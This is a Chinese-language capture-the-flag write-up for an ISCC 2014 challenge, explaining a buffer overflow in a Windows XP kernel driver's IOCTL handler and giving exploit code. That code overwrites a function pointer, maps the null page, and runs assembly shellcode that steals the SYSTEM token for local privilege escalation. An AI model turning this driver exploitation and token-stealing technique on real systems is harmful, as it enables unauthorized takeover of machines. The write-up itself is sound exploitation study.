这是今年刚结束的iscc上的一个pwn题目,为一个windows下的驱动程序。题目介绍如下图。
下载题目后,发现题目中包含2个文件:ISCC2014ExploitMe.sys和Ioctls.h
一、简介DeviceIoControl
Ioctls.h文件内容如下,主要是告诉我们驱动程序中使用的IOCTL_CODE。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
#ifndef __IOCTLS_H_
#define __IOCTLS_H_
#ifndef CTL_CODE
#pragma message(“CTL_CODE undefined. Include winioctl.h or wdm.h”)
#endif
#define IOCTL_TEST1 CTL_CODE(/
FILE_DEVICE_UNKNOWN, /
0×800, /
METHOD_BUFFERED, /
FILE_ANY_ACCESS)
#endif
|
用户程序就可以通过用这个IOCTL_TEST1使用DeviceIoControl函数与驱动交互。DeviceIoControl的声明如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
BOOL DeviceIoControl(
HANDLE hDevice,
DWORD dwIoControlCode,
LPVOID lpInBuffer,
DWORD nInBufferSize,
LPVOID lpOutBuffer,
DWORD nOutBufferSize,
LPDWORD lpBytesReturned,
LPOVERLAPPED lpOverlapped
);
|
hDevice为设备驱动的handle,可以通过CreateFile打开驱动设备的符号名称获取。
dwIoControlCode 为IOCTL_CODE。这里使用IOCTL_TEST1
lpInBuffer和nInBufferSize 传入的数据及长度
lpOutBuffer和nOutBufferSize 传出的数据及长度。
二、查找溢出点
在DriverEntry中设置各分发函数
其中14正好是IRP_MJ_DEVICE_CONTROL,当用户程序调用DeviceIoControl时,驱动就会运行这个分发函数sub_108D0。
1
|
#define IRP_MJ_DEVICE_CONTROL 0x0e
|
分析sub_108D0,其中v7为输入数据长度,v8为输入数据。
offset_106E0是一个函数指针,指向sub_10880,主要用于判断输入长度小于0×40。
之后的memcpy中src和len都是由外来数据控制的,而程序只是去简单判断了一下src的长度,如果len很大,那么就会覆盖dst处的很大一片数据。
三、 思考利用方式
首先查看dst地址处有什么可被利用的内容。
dst指向一个GoodLuck的字符串。
往下看,不远处看到一个函数指针。
较容易想到覆盖此函数指针,将函数指针修改为我们shellcode执行的地址。
覆盖指针后,需要再次触发此驱动执行该函数指针。Ida中交叉引用,发现只有一处调用该函数指针,而这个正好在刚才分析的分发函数中,所以我们需要再次调用DeviceIoControl,就可以使驱动调用该函数指针,即执行我们的shellcode。
四、 写利用程序
利用程序的源代码见附件。这里主要例举一些关键内容。
1
2
3
|
char DeviceName[] = “////.//ISCC2014ExploitMe”;
HANDLE handle = CreateFile(DeviceName, GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL);
|
其中DeviceName中的ISCC2014ExploitMe是设备的符号名。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
char InputData[69] = “AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA”;
InputData[5] = ”;
InputData[64]=”;
InputData[65]=”;
InputData[66]=”;
InputData[67]=”;
char OutputData[100];
DWORD retlen;
BOOL ret;
ret= DeviceIoControl(handle, IOCTL_TEST1, (PVOID)InputData, 68, (PVOID)OutputData, 100, &retlen, NULL);
|
其中InputData中第5字节写为0,主要是为了过输入长度小于0×40的判断。第64-68字节为覆盖函数指针的4个字节,这儿写为0。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
|
//在本进程空间申请0地址内存
ShellCodeAddress = (PVOID)sizeof(ULONG);
NtStatus = NtAllocateVirtualMemory(
NtCurrentProcess(), // ProcessHandle
&ShellCodeAddress, // BaseAddress
0, // ZeroBits
&ShellCodeSize, // AllocationSize
MEM_RESERVE |
MEM_COMMIT |
MEM_TOP_DOWN, // AllocationType
PAGE_EXECUTE_READWRITE); // Protect
if(NtStatus)
{
printf(“NtAllocateVirtualMemory failed! NtStatus=%.8X/n”, NtStatus);
goto ret;
}
printf(“NtAllocateVirtualMemory succeed! ShellCodeAddress=%p/n”, ShellCodeAddress);
//复制Ring0ShellCode到0地址内存中
RtlMoveMemory(
ShellCodeAddress,
(PVOID)Ring0ShellCode,
ShellCodeSize);
|
1
|
DeviceIoControl(handle, IOCTL_TEST1, (PVOID)InputData, 68, (PVOID)OutputData, 100, &retlen, NULL);
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
|
__asm{
cli
mov eax, cr0
mov g_uCr0, eax
and eax, 0xFFFEFFFF
mov cr0, eax
mov eax, 0xffdff124
mov eax, [eax]
mov esi, [eax+0×220]
mov eax, esi
searchXp:
mov eax, [eax+0×88]
sub eax, 0×88
mov edx, [eax+0×84]
cmp edx, 0×4
jne searchXp
mov eax, [eax+0xc8]
mov [esi+0xc8], eax
sti
mov eax, g_uCr0
mov cr0, eax
}
|
五、 测试
环境:xp sp3
运行exploit.exe
可见,权限提升为system,实现了本地提权。
附件下载地址:http://pan.baidu.com/s/1o6r1cQu
征稿启事:91RI 一直相信“你不与人分享,谁与你分享”, 分享的确是件非常有意义的事情。为了让优秀的同学有 地方分享自己的独到见解,也为了让更多同学从分享中受益,同时我们也希望给那些愿意分享的小伙伴们一点点心意作为感谢,所以我们隆重了推出“有奖征文”活 动!本次活动的详情可以围观《征稿启事》
Copyright © hongdaChiaki. All Rights Reserved. 鸿大千秋 版权所有
联系方式:
地址: 深圳市南山区招商街道沿山社区沿山路43号创业壹号大楼A栋107室
邮箱:service@hongdaqianqiu.com
备案号:粤ICP备15078875号